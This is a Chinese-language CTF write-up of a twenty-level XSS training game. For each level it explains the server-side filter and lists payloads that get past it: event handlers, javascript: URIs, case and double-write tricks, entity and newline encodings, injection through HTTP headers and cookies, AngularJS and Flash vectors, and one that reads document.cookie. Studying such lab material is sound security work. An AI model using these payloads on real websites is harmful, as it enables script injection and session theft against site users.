XSSgame writeup

原创

a370793934 于 2019-11-26 17:20:47 发布 228 收藏 4
分类专栏： WriteUp 文章标签： XSSgame writeup ctf

Level1

看源码有name传参，地址栏构造?name=<script>alert(1)</script>

或者?name=<svg/onload=alert(1)>

Level2

分析代码，仍然是使用get方法，从url中接受一个keyword参数，不过这里用到一个过滤函数htmlspecialchars()这个函数把预定义的字符转换为 HTML 实体，等于<不能用，这时候一种方法是黑名单绕过，就是不使用被过滤的符号，使用js的事件：

payload： " onclick=alert(1)>这样需要点击一下输入框

" onmouseover=alert(1)>需要鼠标划过输入框

另外一种方法就是在构造payload就要将input的文本框本分提前闭合，不影响我们弹框代码，

我这里使用 "><script>alert(1)</script>

这样的话：<input name="keyword" value=" "><script>alert(1)</script>"

这样value=" "，不会检查我们的弹窗代码

Level3

分析代码发现跟上面大同小异，不过过滤更加严格了，特别是value='".htmlspecialchars($str)."'发现

上题尝试闭合<"">构造<script>弹窗方法失效了，应为value中的<被转义了，只能利用上题中的js时间

来构造弹窗，不过这里需要用单引号闭合，构造payload： ' onmouseover=alert(1)//

这样的话： <input name=keyword value=' ' onmouseover=alert(1)// '>

双斜杠是注释掉后面的单引号或者补全也可以

payload : ' onmouseover='alert(/xss/)

这样的话： <input name=keyword value=' ' onmouseover='alert(1)'>

再或者构造一个按钮

payload：' type='submit' onclick='alert(/xss/)

这样的话：<input name=keyword value='' type='submit' onclick='alert(/xss/)'>

但这样不会跳转到下一题

Level4

这里我们看到，我们传入进去的值又经过了两个函数的参与。

函数说明：

Str_replace(">", "" ,$str)，此函数将变量str中的字符>转换为空，转换时区分大小写。同理将<装换为空，

然后在经过htmlspecialchars()函数，将一些预定义符号转换为html实体。

通过这几个函数的过滤转化，我们前三关的payload肯定对不能用的。所以接下来我们需要做的就是，

在没有符号“<>”的情况下，并且语句不被htmlspecialchars()函数影响的情况下构建payload。

所以我们在这里可以构造一个输入到文本框后出现相应的事件。我们的payload：

" onfocus=alert(1) autofocus="

" onclick=alert(1) //

这样我们输入的payload没有被函数过滤，并且经过htmlspecailchars()函数转换并不影响最 input文本框。所以输入后文本框内容就变成了：

<input name=keyword value=" " onfocus=alert(1) autofocus=" " >

<input name=keyword value=" " onclick=alert(1) //">

Onfocus事件：定义的事件将在对象获得焦点时触发，这里指input标签获得焦点。

Autofocus属性：input标签的属性，当页面加载input标签，自动获得焦点。

焦点：这里指你的光标的位置，也就是说当你的光标出现在input文本框这里，将进行onfocus事件的发生。

或者用

" type='submit' onclick="alert(/xss/)　　[不会跳转下一题]

" onkeydown="alert(/xss/)

Level5

分析代码发现，str2=strreplace("<script","<script",str2=strreplace("<script","<script",str); str3=strreplace("on","on",str3=strreplace("on","on",str2); 就直接把

<script 转换成 <scr_ipt ，on转换成 o_n ，这样就过滤了js事件，str=strtolower(str=strtolower(_GET["keyword"]);这样

大小写绕过也失效，不过这次没有过滤尖括号<>，这里使用伪协议来构造payload:

"><iframe src=javascript:alert(1)>

"> bmjoker

"> bmjoker //

这样的话： <input name=keyword value=" "><iframe src=javascript:alert(1)>">

<input name=keyword value=" "><iframe src=javascript:alert(1)>">

或者使用

"><img src="javascript:alert(/xss/) [03 IE]

">xss

Level6

分析代码，发现同样过滤了很多字符，<script 转换成 <scr_ipt ， on 转换成 o_n ， src 转换成 sr_c ，

data 转换成 da_ta，href 转换成 hr_ef，比起上一关，发现这里没有大小写约束， 我们可以构造payload:

"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">bmjoker//

"><svg x=" " Onclick=alert(1)>

"><ScriPt>alert(1)<sCrIpt>"

" OncliCk=alert(1) //

"><table background="javascript:alert(/xss/)"> [03 IE]

"><Script>alert(/xss/)</Script>

Level7

分析代码，不仅大小写不能用了，script，on，src ，data ，href 都直接转换成空，

尝试双写绕过，构造payload:

"><sscriptcript>alert(1)</sscriptcript>

" oonnmouseover=alert(1)

">bmjoker

"><scriscriptpt>alert(/xss/)</scripscriptt>

Level8

分析代码，<script 转换成 <scr_ipt ， on 转换成 o_n ， src 转换成 sr_c ， data 转换成 da_ta，href 转换成 hr_ef，

大小写也失效了，" 还被编码，但是尖括号<> ， 单引号 ' ,% ， # ， & 符号没有被过滤，输出点在a标签内，href属性中，

属性中双引号被转换成HTML实体，无法截断属性，我们可以使用协议绕过javascript:alert，由于script关键字被过滤，

javascript会被替换成javasc_rpt，我们使用&#x72来代替r ,HTML字符实体转换：https://www.qqxiuzi.cn/bianma/zifushiti.php

，伪协议后面可以使用URL编码等进行编码。构造payload：

javascript:alert(1)

Javascrip&#116:alert(1)

javascript:alert`1`

javascript:alert`1`

javascript:alert(/xss/)

Level9

分析代码，发现跟上个挑战大同小异，不同的是多了自己自动检测url，如果发现没有带http:// 内容则会显示不合法，

构造payload：

javascript:alert(1)//http://xxx.com //利用注释

javascript:%0dhttp://xxx.com%0dalert(1) //不利用注释

javascrip&#x74:http://xxx.com%0aalert(1) //不利用注释

javascript:alert('http://')

Level10

分析代码，发现需要两个参数，一个是keyword，一个是t_sort，尖括号<>都被转换成空，还有三个hidden的隐藏输入框，

或许我们可以从隐藏的输入框下手，构造payload：

?keyword = test&t_sort="type="submit" onclick = "alert(1)

?keyword = test&t_sort="type="text" onmouseover="alert(1)

这样的话：<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">

构成一个js的点击弹窗事件

或者使用：

?t_sort=" onmouseover=alert(/xss/) type="submit

?t_sort=" onclick=alert(/xss/) type="submit"　　[不会跳转]

Level11

分析代码，发现比起上一个挑战来说，多了一个 str11=str11=_SERVER['HTTP_REFERER']; 考察的是http头部的

xss注入，开始抓包，burp修改相应的字段，构造http头部Referer的payload:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burp抓包，改Referer头，forward发包

或者使用Tamper Data 修改Referer 属性

" onmouseover=alert(/xss/) type="submit

Level12

分析代码，这次换成了 str11=str11=_SERVER['HTTP_USER_AGENT']; 应该是User-Agent的http头部注入，

burp抓包，构造http头部User-Agent的payload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

burp抓包，改User-Agent头，orward发包

或者使用Tamper Data 修改User-Agent 属性

" onmouseover=alert(/xss/) type="submit

Level13

分析代码，这次换成了 setcookie("user", "call me maybe?", time()+3600); 应该是cookie类型的xss注入

直接构造payload:

Cookie: user=" onmouseover=alert(1) type="text"

Cookie: user=" onclick="alert(1) type="text"

burp抓包，改cookie，然后发包

或者

通过Tamper Data 修改Cookie信息

user=" onmouseover=alert(/xss/) type="submit"

Level14

看一下大佬的payload:

"><img src=1 onerror=alert(1)>

百度得出答案，这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息，

造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。

修改图片exif信息如标题，作者。

Level15

分析代码，这一关考的angular js的知识，稍微百度一下相关知识，发现ng-include有包含文件的意思，也就相当于php里面的include

发现可以包含第一关的页面，构造payload:

src='level1.php?name=<img src=x onerror=alert(1)>'

F12打开开发者模式修改<img src="level15.png">

Level16

分析代码，发现大小写绕过失效，script，/，,等都被转换成 ，我们可以用%0d，%0a等绕过：

构造payload：

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

<svg%0aonload=alert`1`></svg>

地址栏输入：

http://localhost/xss/xss/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>

如果<>被过滤还可以用 %3C %3E代替

%3Cimg%0dsrc=1%0donerror=alert(2)%3E

Level17

刚开始以为是Flash XSS，仔细一看发现不是，使用了htmlspecialchars进行实体编码，和第三关就一样了，使用on事件。

构造payload:

arg01=123&arg02= onmouseover=alert(1)

arg01=123&arg02=%20onmousedown=alert`1`

arg01=123&arg02= onmouseover=alert(1) type="text"

arg01=a&arg02=%20onmouseover=alert(2)

Level18

与上一道题一样

arg01=onmouseover=alert(1)&arg02=123

也可以在onmouseover前加a%20不影响结果

arg01=a%20onmouseover=alert(2)&arg02=b

Level19

本题为Flash xss，构造payload

arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss%3C/a%3E

Level20

本题也为Flash xss，构造payload

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height